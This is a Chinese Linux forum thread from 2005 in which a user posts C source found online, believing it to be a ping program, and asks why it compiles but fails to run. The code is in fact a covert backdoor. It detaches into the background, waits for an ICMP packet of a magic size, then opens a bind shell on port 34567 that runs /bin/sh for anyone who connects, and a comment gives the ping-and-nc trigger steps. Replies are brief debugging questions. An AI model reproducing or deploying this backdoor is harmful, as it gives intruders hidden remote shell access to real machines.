LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 683|回复: 2

请教ping程序中的一些问题

[复制链接]
发表于 2005-5-11 13:01:52 | 显示全部楼层 |阅读模式
我在网上看到的一个ping的源程序,编译成功但运行失败。
/*
ping -s 100 192.168.11.7
nc 192.168.11.7 34567
*/
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#define SIZEPACK 88
#define PORT 34567

void child_kill()
{
  wait(NULL);
  signal(SIGCHLD, child_kill);
}
/*这个函数并没有用到,不知道有什么用*/

int bind_shell()
/*
{
  
  int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
  struct sockaddr_in serv_addr;
  struct sockaddr_in client_addr;

  setuid(0);
  setgid(0);
  seteuid(0);
  setegid(0);
/*创建sock_raw才需要超级用户权限,这儿是什么用的,为什么主函数创建sock_raw时反而没有没有这些设置呢?*/
                  
  chdir("/");

  soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

  if (soc_des == -1)
    exit(-1);

  bzero((char *) &serv_addr,sizeof(serv_addr));
  
  serv_addr.sin_family = AF_INET;
  serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  serv_addr.sin_port = htons(PORT);
  soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
  
  if (soc_rc != 0)
    exit(-1);
  
  if (fork() != 0)
    exit(0);
  
  setpgrp();

  if (fork() != 0)
    exit(0);
   
  soc_rc = listen(soc_des, 5);
  if (soc_rc != 0)
    exit(0);
  
  while (1)
    {
      soc_len = sizeof(client_addr);
      soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);

      if (soc_cli < 0)
exit(0);
      
      cli_pid = getpid();
      server_pid = fork();
      
      if (server_pid != 0)
{
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
return 1;
}
      
      close(soc_cli);
    }
}

int main(int argc, char *argv[])
/*程序内容里没看到参数的调用啊*/
{
   
  int s, size, fromlen;
  char pkt[4096];

  struct protoent *proto;
  struct sockaddr_in from;
  
  if (fork() != 0) exit(0);
/*请问这儿是不是fork()一个子进程,同时关闭父进程?如果是这有什么用?别的好多地方也是这样,我在调试的时候发现程序在这儿退出了,以下的内容并不执行,不知道为什么?*/
  
  proto = getprotobyname("icmp");

  if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
    /* can't creat raw socket */
    exit(0);

  /* waiting for packets */
  while(1)
    {
      do
          {
                  fromlen = sizeof(from);
                  if ((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *) &from, &fromlen)) < 0)
                          printf("ping of %i ", size-28);
        } while (size != SIZEPACK + 28);   

      /* size == SIZEPACK, let's bind the shell */
      switch(fork()) {
      case -1:
                  continue;
      case 0:
                  bind_shell();
                  exit(0);
      }            
      sleep(15);     
  }
}
发表于 2005-5-11 17:21:04 | 显示全部楼层
root!
回复 支持 反对

使用道具 举报

发表于 2005-5-12 11:37:39 | 显示全部楼层
顺便问一句,在上面fork的时候,父进程已经退出.自然是不能继续调试了,但是,如果想调试子进程,该怎么做?
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表